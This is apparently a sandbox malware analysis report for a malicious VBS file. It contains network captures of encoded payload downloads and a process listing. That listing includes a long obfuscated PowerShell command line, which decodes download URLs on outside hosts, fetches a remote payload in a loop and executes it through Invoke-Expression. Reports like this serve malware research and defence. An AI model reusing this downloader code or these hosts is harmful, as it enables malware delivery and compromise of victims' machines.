2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 50 34 35 6d 71 42 6e 4b 76 69 5a 47 2b 41 76 72 6a 53 54 6d 47 63 72 36 51 52 54 77 4c 5a 73 39 65 30 77 6b 32 36 73 31 50 47 6a 50 4b 69 55 33 6b 42 72 69 62 61 67 69 50 6c 32 32 65 76 50 6c 32 43 4e 2b 74 4a 62 30 55 65 33 4d 6f 74 4c 35 72 33 71 77 59 63 79 66 50 39 61 4e 7a 63 77 51 39 35 6c 2b 78 66 76 77 74 35 45 41 63 33 45 72 43 39 30 68 37 41 65 76 6a 64 5a 64 41 43 51 71 33 5a 31 49 72 48 54 46 53 4c 31 77 70 6c 46 6b 4b 36 4e 45 2b 58 43 68 7a 57 53 69 59 4a 33 63 48 41 78 64 6f 51 62 6b 68 57 44 43 6c 76 49 51 35 2f 33 67 53 77 4b 63 54 2b 30 6a 6d 38 44 6c 37 6c 72 51 70 62 43 48 70 69 4a 63 74 77 55 55 55 53 58 46 66 30 2b 35 63 35 78 61 2b 53 34 4c 44 7a 39 47 62 38 79 78 31 71 4a 61 50 62 36 6b 67 5a 76 43 66 34 33 63 59 54 78 34 4b 46 41 Data Ascii: P45mqBnKviZG+AvrjSTmGcr6QRTwLZs9e0wk26s1PGjPKiU3kBribagiPl22evPl2CN+tJb0Ue3MotL5r3qwYcyfP9aNzcwQ95l+xfvwt5EAc3ErC90h7AevjdZdACQq3Z1IrHTFSL1wplFkK6NE+XChzWSiYJ3cHAxdoQbkhWDClvIQ5/3gSwKcT+0jm8Dl7lrQpbCHpiJctwUUUSXFf0+5c5xa+S4LDz9Gb8yx1qJaPb6kgZvCf43cYTx4KFA
2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 66 53 68 34 51 43 6d 6a 7a 59 77 47 4a 4d 35 6b 6f 69 36 61 5a 69 75 6a 52 4b 56 36 4a 79 44 76 70 76 54 50 5a 43 76 46 53 4c 2f 44 5a 35 39 6c 4b 79 70 41 37 69 71 6a 7a 64 31 6a 44 58 4a 65 72 32 42 4d 6a 56 34 50 56 49 53 71 55 74 6b 58 4e 79 52 4d 70 52 45 75 43 45 61 76 61 5a 7a 76 70 69 6e 4d 5a 43 76 46 39 4b 59 54 54 53 55 79 55 36 44 4e 36 36 36 4f 7a 32 51 72 4a 67 62 76 72 6f 37 50 5a 43 74 4b 43 57 51 72 6f 77 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: fSh4QCmjzYwGJM5koi6aZiujRKV6JyDvpvTPZCvFSL/DZ59lKypA7iqjzd1jDXJer2BMjV4PVISqUtkXNyRMpREuCEavaZzvpinMZCvF9KYTTSUyU6DN666Oz2QrJgbvro7PZCtKCWQrowAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-22 13:31:22 UTC	16384	IN	Data Raw: 4e 4a 74 32 6d 71 34 43 4e 55 57 64 37 64 58 47 74 6b 51 32 74 6e 35 6a 41 6a 4c 4e 42 6d 6f 44 77 62 30 51 2f 68 4e 51 6c 4b 68 66 39 75 44 4d 52 47 38 59 63 7a 5a 55 37 53 4b 62 57 4d 53 45 46 50 5a 41 64 49 46 69 69 4a 2b 74 64 77 4c 2b 33 2b 34 30 4b 44 53 33 73 4c 75 6e 41 67 69 6f 65 67 6b 6c 39 54 35 2b 4d 2f 4e 77 59 30 78 67 44 38 75 4f 33 42 74 4b 78 68 6b 6f 6f 35 76 61 64 58 2f 41 47 61 70 56 38 73 43 44 2b 6b 79 53 78 6a 70 6f 51 4b 4b 31 74 43 59 30 4c 38 74 68 6d 58 79 31 4f 61 6b 33 63 6d 57 54 4b 4a 68 57 59 59 4e 72 42 39 50 69 30 57 50 58 34 66 76 4d 2f 7a 6a 39 58 59 48 68 72 53 75 49 44 68 2b 32 51 78 43 37 35 6e 58 78 64 36 63 70 31 66 76 6c 77 54 68 4a 58 43 6b 69 4a 35 77 64 4b 6f 54 6c 77 5a 4f 4c 30 4d 48 31 55 65 33 4e 71 74 76 Data Ascii: NJt2mq4CNUWd7dXGtkQ2tn5jAjLNBmoDwb0Q/hNQlKhf9uDMRG8YczZU7SKbWMSEFPZAdIFiiJ+tdwL+3+40KDS3sLunAgioegkl9T5+M/NwY0xgD8uO3BtKxhkoo5vadX/AGapV8sCD+kySxjpoQKK1tCY0L8thmXy1Oak3cmWTKJhWYYNrB9Pi0WPX4fvM/zj9XYHhrSuIDh+2QxC75nXxd6cp1fvlwThJXCkiJ5wdKoTlwZOL0MH1Ue3Nqtv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49988	199.103.62.205	443	6640	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 13:32:15 UTC	175	OUT	GET /zkwqTJp58.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: www.groupriam.com Cache-Control: no-cache
2024-10-22 13:32:15 UTC	422	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Mon, 21 Oct 2024 13:36:38 GMT accept-ranges: bytes content-length: 336448 date: Tue, 22 Oct 2024 13:32:15 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-10-22 13:32:15 UTC	946	IN	Data Raw: 8a 0c 6b 03 55 69 9a eb 91 fd 90 b6 31 b6 8a 36 87 84 49 63 ce 48 d6 66 0e 6d a5 fc 3e 4b 4b 2f cd ec 4c 7f ae e2 aa a6 1e 29 d2 c4 14 b1 4e ab 57 8e bf e3 32 24 f5 b9 46 32 87 bf 36 94 cb 08 42 fe f6 23 9f ed b6 74 f3 12 a8 8a 17 d5 e3 b2 4c 01 be e1 f0 66 09 6b 53 c7 ea dc 7d 74 2e 6a b9 3b d9 ef 0b e9 97 83 a5 9d 54 09 b6 9b 6f c0 06 07 f3 ad 17 17 3c 2f 5c 3e 86 82 08 8d 8d fb 92 55 df 56 4d 66 68 d0 d1 26 05 a2 62 8b c6 67 ac 6f 53 83 9c 34 6b 4a 74 d9 9f 90 9b 42 85 a4 e6 73 63 29 a2 5c 15 31 a0 6c bf 9d f5 9f 90 87 e7 a8 21 89 f8 bc 59 e4 f3 a0 6d f9 a9 3d 8a 0a 18 c8 24 e6 4d 4a 7d a8 ad 18 ce 30 52 38 96 ef c7 70 8a d4 53 28 07 f0 33 54 87 99 52 de 53 fa da 3b c1 28 e9 7f d6 19 ae 20 2b 27 67 cc f6 c4 ae 07 54 d5 5b b8 98 07 52 60 a3 71 55 e8 6c Data Ascii: kUi16IcHfm>KK/L)NW2$F26B#tLfkS}t.j;To</\>UVMfh&bgoS4kJtBsc)\1l!Ym=$MJ}0R8pS(3TRS;( +'gT[R`qUl
2024-10-22 13:32:15 UTC	14994	IN	Data Raw: c2 82 ab c2 4b 66 19 a3 65 99 2e eb 72 48 97 c3 79 e6 57 34 fd ca 0d 47 f0 9c 65 f2 11 88 0a 5d 58 f5 92 d8 58 15 9a 64 4a 7e 4c a9 49 1c 22 f8 36 9f 4d 56 5d 5e 8e 45 8c 2e f8 76 7c a3 33 64 88 f5 33 00 bf 09 8c c4 9e 72 d2 cc c3 3e 94 8f 86 f5 d4 34 f0 65 dd 97 35 db 74 5a 3a 5b 25 52 86 59 c5 4c c8 a3 0b d6 3e a5 ea 32 eb ee 07 ea 8a f2 6a 80 7b 01 bc 22 6d ef d1 b2 6f b9 7b e7 22 25 bb 2c d0 1c 7b 9e 4c 23 42 11 cc 80 c6 79 fc b8 38 60 b2 b0 de 15 c0 90 69 3b fe e6 e1 57 0c dd 27 58 18 64 7a df 4b b3 eb 14 fe 13 2e ec f5 44 b9 ca 79 39 b9 ce 33 16 74 df 3c 16 55 a5 aa fb a9 ca b5 a7 09 d7 9b 03 95 20 71 d9 73 63 a4 b9 ab 73 c8 6c 8e d0 e2 69 12 f6 ab 5d c8 ac 50 e3 ad c7 cb 7b 7b d5 d0 34 16 62 ac 89 cf d8 0f e9 e0 5b 38 a8 09 3d c1 f1 e6 25 e8 aa 94 Data Ascii: Kfe.rHyW4Ge]XXdJ~LI"6MV]^E.v\|3d3r>4e5tZ:[%RYL>2j{"mo{"%,{L#By8`i;W'XdzK.Dy93t<U qscsli]P{{4b[8=%
2024-10-22 13:32:15 UTC	16384	IN	Data Raw: 02 0d 64 28 69 ca 3d 91 72 7f 0d 77 70 1c 9c 75 67 eb 54 6f 5d 66 89 db c7 f8 34 e0 e9 dd b3 1c fe 26 b5 76 83 46 c5 2f ab 5e 47 49 a5 af e4 80 1b 79 7d 6a 91 ad e6 02 cb be 54 1e 29 27 73 2b fe 67 47 86 f0 f2 88 fe 3a e2 0a ae af 5b b2 a9 9a de f1 04 22 e7 53 09 0f 9a 32 e1 3b d7 e8 e8 a8 b0 32 65 2f a6 39 ff 14 f0 a6 88 b9 1e 73 1d 2a ee 98 08 f9 04 15 6b 45 48 f0 17 89 9b 1d bf 66 3e 42 6d ee 4d 28 e1 d1 c3 fb f9 6c e9 46 51 87 84 42 22 45 0e b2 71 54 22 56 3c 59 69 d1 8f 6f b0 ec 4f 85 14 f1 74 05 66 2a be eb d3 4f 24 d9 35 f8 9e 34 ff 4c 5d 54 93 b7 c1 3c fc 97 51 52 aa 9c b9 59 d2 89 9f d0 81 3b 24 60 9f 0c e2 62 80 6d e4 4d e1 3e a1 3f 66 ca 43 12 d7 90 65 69 9a c8 ea 61 fd 5f 7c da 67 cb 9e 88 0b 2e 47 33 96 e8 9d d0 bc 74 8b 6f 21 81 f0 43 dc 08 Data Ascii: d(i=rwpugTo]f4&vF/^GIy}jT)'s+gG:["S2;2e/9skEHf>BmM(lFQB"EqT"V<YioOtfO$54L]T<QRY;$`bmM>?fCeia_\|g.G3to!C
2024-10-22 13:32:15 UTC	16384	IN	Data Raw: 10 6a b1 50 c6 f3 88 6e 94 89 38 52 f3 14 32 d4 6b e7 52 a8 59 85 91 0d 59 24 40 40 d9 89 6f 91 88 9d 32 d2 dd 2e f9 17 8c 07 cb b7 ec d3 1f 5c d2 3e b1 d8 b8 6b 6c 07 6a fb ba a1 80 05 5c d3 e5 b3 f0 71 a6 0b 77 2b ec 42 26 d2 64 c4 2e 6d be 4b a5 b5 88 92 d9 02 39 a2 7e 6d df 4c f7 1f a1 1b b5 b8 3a 2c 95 84 ec f6 23 0d 0a 83 6d 94 fb 78 90 a1 94 32 fd e2 b3 bd 7a f7 7f b5 cb 44 a8 fb a3 88 f1 4b 4b fe b6 23 0f c2 2f 45 df d6 e7 d8 5f 58 d5 92 57 a9 ad 0f 19 8f 33 b0 89 90 05 4d df ae 33 da 5c 01 2f 6b ff 94 82 5c 77 b1 a4 52 df 5f 91 8f 6a ae b9 3b b6 aa 48 72 c1 71 c0 c2 35 ef 51 34 3f 6b 3a fc 8c d3 b4 da 1d b6 20 5f cf 84 fe ae 62 e4 21 ef 84 ca b2 5d 20 18 e8 46 2d 3b ab 1b 06 73 54 f2 aa af a7 b2 82 ad 56 08 08 56 f3 40 46 24 1f 4a 9e 4e db 1d ea Data Ascii: jPn8R2kRYY$@@o2.\>klj\qw+B&d.mK9~mL:,#mx2zDKK#/E_XW3M3\/k\wR_j;Hrq5Q4?k: _b!] F-;sTVV@F$JN
2024-10-22 13:32:16 UTC	16384	IN	Data Raw: c0 5e f0 c1 3d cf 28 0b 2c 44 19 44 b6 2d 87 18 88 98 02 5b 08 29 95 de 93 01 d8 51 c5 f6 63 b0 f1 eb 1e ed ce 2c 9b 9e 28 eb 8d cb 27 51 85 aa 54 0b ba 94 3e fb 08 57 68 df 6a a3 67 26 ce f9 e3 21 38 d9 5a 61 8a be 39 05 8c 68 61 ac 19 ec 56 bd 2b e7 2c 74 e8 12 87 d7 70 c0 b0 fd 36 59 7e 8f 79 97 15 89 76 40 1c 43 d9 b4 24 70 1f 3d c1 70 7c 5d 32 92 20 6d d7 b3 f2 85 0a 4f 94 13 b4 5d a7 d2 7a 07 19 9f 3d 9b 81 49 a4 4d cc 04 f7 75 bd 02 87 31 a4 a0 4e 69 1c 58 18 60 ba 4c 14 d5 0d 89 fa e1 b8 4f 40 39 5d 3c cf 70 43 10 76 f6 c3 1e d6 a2 e7 b6 3f 21 44 45 ac ff dc 48 c9 11 6f ff f7 40 89 20 d4 94 f8 a4 ff c6 92 f8 e7 fe 49 6d 6d db 83 f6 d1 60 f6 7b 81 35 4f 07 0e 88 e7 ff c9 55 22 05 aa 59 72 36 e6 26 20 66 7b 9d 35 03 8b 72 e5 d3 b2 e1 15 84 68 5d a4 Data Ascii: ^=(,DD-[)Qc,('QT>Whjg&!8Za9haV+,tp6Y~yv@C$p=p\|]2 mO]z=IMu1NiX`LO@9]<pCv?!DEHo@ Imm`{5OU"Yr6& f{5rh]
2024-10-22 13:32:16 UTC	16384	IN	Data Raw: c0 33 43 73 92 48 44 77 78 36 7c d3 9a 64 69 8c 16 05 e2 7f b4 47 e9 1e 8e 72 f6 f9 68 4a 3a 7b a7 42 c9 26 8a 20 53 04 17 de 6c 83 d0 5b a6 58 b0 22 79 ea 64 74 7b cb d8 03 8c 22 b7 6a 22 ea b4 9b 92 70 ba fc 9a b8 e0 94 74 7b 6a cf 7f ea 5a 21 93 b4 02 e5 fa 6f e9 fd f5 42 91 d6 ae 0b b4 b8 9f 9d e1 5d ba 2d 8e b7 7e 1a e9 8e 87 91 8a f3 d8 d5 9e 7f bf aa b1 20 20 e8 d2 2f 5c 7a 75 bd 24 c4 34 e1 64 90 2e 53 6b 5d 1c db 09 97 19 ed b9 cf e6 e6 9c d4 1e 2c c0 08 86 5e 99 8e e8 df 00 fd 41 5d 39 fd 28 ed 58 1c 59 ae 30 3a a1 e2 cd d4 dd ad fb 16 b2 01 c8 f9 cc e5 df 9a 0d e6 80 52 d9 d4 4c bc 3b 3c c8 9a 4e 28 00 8c 4d 6b 6f ee 63 73 f9 dd 0b 31 31 0d 00 a8 ad 7c 65 65 bf fe b6 c6 7a f5 03 9d 34 7f 70 53 72 63 54 50 bb f9 ad 6d f6 53 ae 54 12 f3 f4 b8 4d Data Ascii: 3CsHDwx6\|diGrhJ:{B& Sl[X"ydt{"j"pt{jZ!oB]-~ /\zu$4d.Sk],^A]9(XY0:RL;<N(Mkocs11\|eez4pSrcTPmSTM
2024-10-22 13:32:16 UTC	16384	IN	Data Raw: ea 50 f1 83 6c 44 b2 e9 23 64 7f 38 50 f3 b4 f3 57 7c dc 0b 51 c3 14 f9 6e 2b 99 58 77 8b 4a ea b6 43 a2 e7 da 5a 6e 2f b9 27 6c 18 7f dd 28 3a eb 66 04 1b a4 95 52 9f ae dd b8 f9 e8 16 38 20 75 21 9d 9e 7a 7c a5 0a 0d a0 f1 44 b5 85 55 ab 11 fe 34 65 ad 1a a4 5d 36 3c 86 50 c1 53 26 ce 3c f8 69 2d 1b 17 e9 b3 9a c7 62 64 11 ed f4 85 b4 68 9f b7 11 5d 76 02 14 41 c0 ee a1 38 03 fb 8d d2 74 32 5f 79 1d 11 36 f7 d6 73 ec 64 38 19 57 2c 74 3a f1 a1 46 de 14 48 40 57 cc 85 dd 1f 70 c4 a8 92 fb 80 d4 75 26 85 11 5f fe 59 86 78 c5 79 20 83 6c 72 e1 39 9b b7 21 15 d1 a1 00 df b5 24 2b 4b bb f0 f9 33 a3 8b 8a d1 be e2 7b a6 4f b7 0d c5 d5 1b 74 00 b7 47 66 8f c3 af 2d 77 ec 05 38 61 c2 e8 cf ed 64 c0 da 54 13 9c b7 58 e0 bc 75 6b 4e 81 a8 ef db 07 99 90 85 ae b7 Data Ascii: PlD#d8PW\|Qn+XwJCZn/'l(:fR8 u!z\|DU4e]6<PS&<i-bdh]vA8t2_y6sd8W,t:FH@Wpu&_Yxy lr9!$+K3{OtGf-w8adTXukN
2024-10-22 13:32:16 UTC	16384	IN	Data Raw: 4b 3e 3f ea 5e c9 d1 50 c4 35 23 3c 72 11 52 5b a1 41 cd 9a d1 97 ba 6e ec a2 e4 ad d3 b3 e9 0f 7d 94 56 b1 6e 09 20 ed e3 04 4e 66 31 07 cf c3 e7 01 3c a8 45 7c 54 f3 bc 62 63 08 fc c8 ff 11 14 fc 5f b5 ea 43 ba 6e 3e e0 23 97 ab 45 a0 28 29 2e 14 97 7e 79 3e 26 89 a0 5c 00 4d 32 1c c9 71 50 24 5a ca d6 b5 7a ec 80 04 0d 72 3b 0c ef 8d 90 8d 85 08 a3 d8 c2 48 c5 dc b8 ef 75 72 02 7a fa 07 4e c8 5e 57 41 40 b1 03 21 cd c3 57 34 6d d0 e2 c4 20 f4 e8 70 b8 8e 71 43 2f 95 81 ce 52 26 a3 3b 22 92 4f 45 56 94 56 c3 2f 00 47 dd 1c 1a 09 a4 f7 48 96 a3 12 3d fe 7f 67 c8 58 95 66 5c 42 ea ac eb e2 3b b0 bc 30 5d d4 a1 ad d9 fe 66 a5 97 ff 25 9f a5 57 ce 39 00 03 06 dc b9 ac d7 97 6d 1e 8c 6b 36 66 94 b0 ed f2 04 ef ae 4e 85 8c 36 c8 71 ab 3e c3 f2 4f f1 d8 be 4a Data Ascii: K>?^P5#<rR[An}Vn Nf1<E\|Tbc_Cn>#E().~y>&\M2qP$Zzr;HurzN^WA@!W4m pqC/R&;"OEVV/GH=gXf\B;0]f%W9mk6fN6q>OJ
2024-10-22 13:32:16 UTC	16384	IN	Data Raw: 1f 73 18 f8 1a d0 01 a0 93 86 b8 1a 56 0e f7 8b fa a1 e3 d1 bb 3f 55 1f 24 8d 79 93 cc f8 8f df 5b 7d 0b 88 c9 7e 2d 9d 08 93 d5 75 27 ee 9f c6 2f 47 f1 27 53 1f ff d4 90 38 a2 9a c7 8d 0b 83 26 0e 56 dc b2 00 06 5e 1c b7 35 53 6d 8f ce f3 a3 59 17 2c 61 07 cb 48 90 c6 24 46 9f 9e d0 7e 23 a4 58 da c3 57 0a ac 36 03 33 0a a6 e8 27 ae ae 6c 6e a6 fa 5b d0 a3 8f cb de a7 21 97 47 97 f2 fc 96 fe 85 d0 5d 7a c7 9e 75 a3 52 0b da 2b 0a 91 87 d3 e3 48 b6 15 e0 ff 9f f4 3c 8e 10 62 2b f0 a7 9b 42 c7 a6 05 27 e6 1e fc 82 50 b4 90 95 be 45 ab ca 23 be 3d 96 e0 57 09 34 c8 65 4b 25 2a a7 54 2f 67 73 74 41 c1 b6 70 01 49 78 28 44 f8 0d ae 99 7c eb 97 6f 1d 9e e7 b7 c3 8d 28 cf 24 d0 02 0b 2b 54 81 d8 f1 9a 64 fc 85 6c 23 94 1e c1 48 b2 54 34 55 a0 47 bc 45 85 28 55 Data Ascii: sV?U$y[}~-u'/G'S8&V^5SmY,aH$F~#XW63'ln[!G]zuR+H<b+B'PE#=W4eK%*T/gstApIx(D\|o($+Tdl#HT4UGE(U
2024-10-22 13:32:16 UTC	444	IN	Data Raw: cb 9c 30 71 f7 ff 15 c6 f7 88 54 7f bf e9 6d 78 45 4b 5b 53 b2 9c 28 0f 16 82 6b c6 11 03 07 42 8f a6 80 ce eb 8c cd a0 e0 ed 78 67 fa a7 11 11 8a 9b 36 a9 eb 97 80 f6 cd 5b 1c b8 42 2c 71 cb db bb 61 c6 09 e2 9b cb 88 f2 d6 68 57 9b c1 5f e9 94 3f fb 4f 32 10 25 24 9e ab 56 d1 cc 1b c0 49 9b 82 6b 2c 40 f3 63 f3 68 2a ec cd 75 98 9c 4b 2e c1 72 76 2f 52 cf 21 82 25 cd 8e 8d 12 dc 2b 5e 10 ac 47 5e 8b 08 b0 bb 10 1b d7 e6 20 3b 24 1a bd 5b dd 17 62 eb 35 5c 0e 66 6a 46 9e 15 ea a2 ff 8e 6b 11 5a a0 10 01 06 1c 7b 26 97 4f fe 08 c7 b0 cc 9c 9c 17 3b 4d f2 a2 bf fa be bd eb 7c 73 c6 9d 9d 91 48 07 80 4c 91 7d 90 29 2a 15 c5 5e 31 5e 36 95 64 f2 d0 8e b0 16 9b 2f b6 51 35 80 b5 f4 f4 73 a0 b3 5e 31 9b 51 78 5d a2 4c b4 a2 3a 35 c9 50 1a 5a 2d a2 f9 76 38 36 Data Ascii: 0qTmxEK[S(kBxg6[B,qahW_?O2%$VIk,@chuK.rv/R!%+^G^ ;$[b5\fjFkZ{&O;M\|sHL})^1^6d/Q5s^1Qx]L:5PZ-v86

Target ID:	0
Start time:	09:31:15
Start date:	22/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6 654398.vbs"
Imagebase:	0x7ff6ec390000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	09:31:15
Start date:	22/10/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping gormezl_6777.6777.6777.677e
Imagebase:	0x7ff7f6580000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	3
Start time:	09:31:15
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	09:31:16
Start date:	22/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Versfods Pudser Ringmrknings Gonitis Recuperability Saggio Doceret #>;$Homoplasy='Stenkulsnaftas';<#Rejicer Amanuensiser Manticory #>;$Feminisere=$Oversalts+$host.UI; function Naturvrdi($unmannerliness){If ($Feminisere) {$varens++;}$Uenigst=$Etymologiserendes+$unmannerliness.'Length'-$varens; for( $Erhold=4;$Erhold -lt $Uenigst;$Erhold+=5){$Generationsprojekters=$Erhold;$Lucuma+=$unmannerliness[$Erhold];$Bergensisk='Costively';}$Lucuma;}function Furnage($Lokummet){ & ($Brneballet) ($Lokummet);}$Prereceived=Naturvrdi 'MaliM atio Hi,zSp.liFibrlBagmlTilkaExte/Rytt ';$Prereceived+=Naturvrdi ' Kyl5R,ek.Bran0neut Fo b(bereWAfm i QuanFl.ld BrsoEstawUnlusC ch AppeNSpheT et Howd1Enek0Him .Flle0 tje;Repr Oxy WC diiSkadnBesk6Abor4Call;Fors FastxStem6gav.4Phan;St.u Prodr KiovGdni: Ben1Grun3V sp1Su t.Land0St r)M,sc SupeGHandeCatac.uffkR cho Vau/Su c2 Car0 amp1Posi0Zirk0reg.1Fist0D ba1Vide F.anFSurviSengrMa,keRutef edeoEscaxLe b/Tild1incu3Para1Inde.Tryp0Brod ';$Teosofis=Naturvrdi 'M.deuSchnsMicrEbeboRSprn-TillaSandG hagE S.eNOpgatWaba ';$Soybean=Naturvrdi 'Reveh Fort.quat.usqpKultsPros:Pref/ Ko./UndewKat.wJazzw Uda.Sh,pgVermrP euoStoeuUdenpTh,or ambi S ea BrumPsyc.Ud ycPaapoPatemCopr/Fit.K P roiri,a ReplAfhji emtFeasiTermougr nLkkeeProprcyst.ComppUnsorBerrxId n>ArabhEmbltSarotKommp frssanti: Ent/Pu s/kalabS virDetau emtMo.sa.ent. iscp OlilMode/Be eKLeptoTe aaKruslcur.iFetct,araiEteroPourn OkkeCha rSi,h.CocrpSprkrtankx Mer>behnhlagdtRevatprofpSludsReso:Brug/Prop/ GeopOptar UndoPrepmTaviePrecnOps,t Lr eBerer dob.Actir IvesHaug/IrreKKineoPneua failTri,i RhatAnkei AveoSlatnveroeFeudrVeli.Sammpdownr .eixSnke ';$Knulling=Naturvrdi 'Geom>Bagg ';$Brneballet=Naturvrdi 'Hun iIncoeFri X Svu ';$Deposito='Kalkudsivning';$Mantelet70='\spgelseshistories.Hov';Furnage (Naturvrdi 'Wo l$ RecgR maLsab OHersBParaAHelll Ind:LotaPSpisR AutEOpskd ,irIOvercFrs,AplanBMainlFiskePres=Trai$ FrieLat nBrunVDumb:Ban a Bo pHelmpPr dDi aiA.ntrtTor A.arr+Cloa$dioxmMechADiviNUdd Ttr,ne dlglOptiEDybstR ne7Lnko0Tegn ');Furnage (Naturvrdi 'Smas$PercGO erLSau OElanBHjemAT apLSkyg:Advio Oksp No.tHydrRUnfevU unL cceUdsvt Opp2E cr2Fors7Laud= H.r$ruelsI dvoOverYSoldBKorsEPunca prkN Abl.RvenStlpeptypolBetoIForetPaaf(,ekn$Unq kPutrnKittu klaLNondl.nami.oncnFibrG Vid)El e ');Furnage (Naturvrdi 'Stan[ CorNI che,angtOv r.TestSKo te ApprOm gV ridiAppecKrnieE tepBesgoAkmui Batn MiltUkrlM bacaSlannOphoaPolyG GkkeColpRHydr] ood:V gr: Ba SHogtEGramCSo oU,avnr.resiUndeTSympyYumaPI,terSkriO .agtSkreoU tac foroHammlPa.v Asc=Oplg Voic[SwilN.ilbePenkt in .Jap,S NuleImdeC dpaUUrsirUnfaiMissTDoo yInfiP T.ert ndOUndeT m,roCrazc K.lOCounLMou TReneYRuswP,ddeE yn]Neur:John:PaattPlumLR,acsEfte1Inte2F.os ');$Soybean=$Optrvlet227[0];$Afbrnde=(Naturvrdi 'Frek$ Un gUr nl BaloTetoBLimnASkolLEcze: .hikHeteaAwaksEnwik ForEBrutLPhonoKenit NegTAfb,eEarlrR.teNFor,EStubSReko=taenn Ceme Te WPart-Ve.dOtailBSvo j orteProgc R ntOpst BestsQuadyDialsMoritEdeleInusm dea.reden DumEBonntS.ve.splawTyraekr.mbEs iCHalvLEisei TraEUd aNSno T er ');Furnage ($Afbrnde);Furnage (Naturvrdi ' Ind$Inf kGermaAarssB usk.orge Fr l ostoRa.ct CogtSpaceN kor,mdrnPa ae.olysBibe. Ep,HMelleBa taTilmdR,mseYpperSheasSovs[Illi$Po fTKonseOpvaoFa isRe eosemifOpthiEk.kss,ad]Medb=Til.$ActiPInterRedaeRu prOpereDis c El.edel iCui vMedseDagsdTa.p ');$Gougers=Naturvrdi 'Over$ Ma k Nepa S nsShagka,daeSnazl preoPetrt MartTrosePrisrKlemnS.gee Blrs Sti.AmmiDOncoobitewMultnNonslP choMulkaSc rdWil FsoftiQuinlfej eR bi(pol,$BlomS VomoCenoyR dib Uk,e acsa Antn U i,G il$ Re.AHuzzdar eeIndgn A,tiU.spa Afs) Dat ';$Adenia=$Predicable;Furnage (Naturvrdi 'Beja$ nrogJo nLBy.goUddabGrowAUnatLL ep:MellpVandaSpintR coEA.toR UnnE No RVaarO bou=Wish(S.raTfolkeMtn s kaiTUnde- F rP.tera G lTM deHKok. Ho t$Reala egdMisse .ndnVarmiVibrA sno) ,le ');while (!$Paterero) {Furnage (Naturvrdi 'Dyn $Rom gS bllP rlosetlbLuftaUni l unk:GarbHNonvoAyunmOkkeoOvertBedvyUnfapSoire No = Div$And t Walr Paau Pa eAfho ') ;Furnage $Gougers;Furnage (Naturvrdi 'F,rns I dTDypkA Palr tret itn-,gissForyl Mane VirEDumhP Ma. Lir,4anac ');Furnage (Naturvrdi 'Eska$Ref gIndulSk hoSheabDra ASignlSlag:Kdg PGla AUnret HoseTrivRViscE owhr ippo F l= mn( OveTFa,lEDecoSTrinT mbr-BewrpKommA.ondtU laH ecu Kro$ RegaSt nD BrueBu gn RanIOrdkaSkin)Moly ') ;Furnage (Naturvrdi ' Grn$s,pegTi,tLFalhoCal bUnsaAMusalElev:GurlWS,biRSea I To,TTeg,hTeagE,ndeRFails roc5skob9lyri= Sap$ ,epGWithlPronO SymB S.aa Or.LMono: F.tA vkPSteapLiveRRnenEDeskHEmbaeTe eN ndSBeatiOvervS.awe LaaLUp.rYElek7I tu6Ma i+Bilt+S oo%Forp$Kaldo IndP NovTskovrJernVMesol Sube udrtBoga2Me a2Ambr7 kri.GasdCForsO vrdUStreN natKone ') ;$Soybean=$Optrvlet227[$Writhers59];}$Erholdnconceivably=340877;$Rensekremer=29893;Furnage (Naturvrdi ' Pr $Piscg GrolEbulo sagbCappAeffelStar:Ryddd ChudUnresSpges rsePGuntiM siR oapaPithlrad. tan=Unmi SquiGphleE verTSup.- pblcFrstoE.plNGlobTwhi EStpaNSkrit Sol Abvb$ b daC.ckdRetfeOxydN FreIMelaaSkar ');Furnage (Naturvrdi 'Lasi$Banagsen,lStatoBestb utaFo ul Fyr: V,nMVigtu S.jsTankkAgroeTrubl HermNiphaG.dlnwarrdPhag Id.= lyn Suba[,ponS Re yHjlpsVisutPolaeokkumCome.Sp,rC .ato,lebnPer.vOldheTuberCatktArch]pr d:ordi: StrFPolyrEmuloSon,mUvilBM taaPantsHalfeGlas6 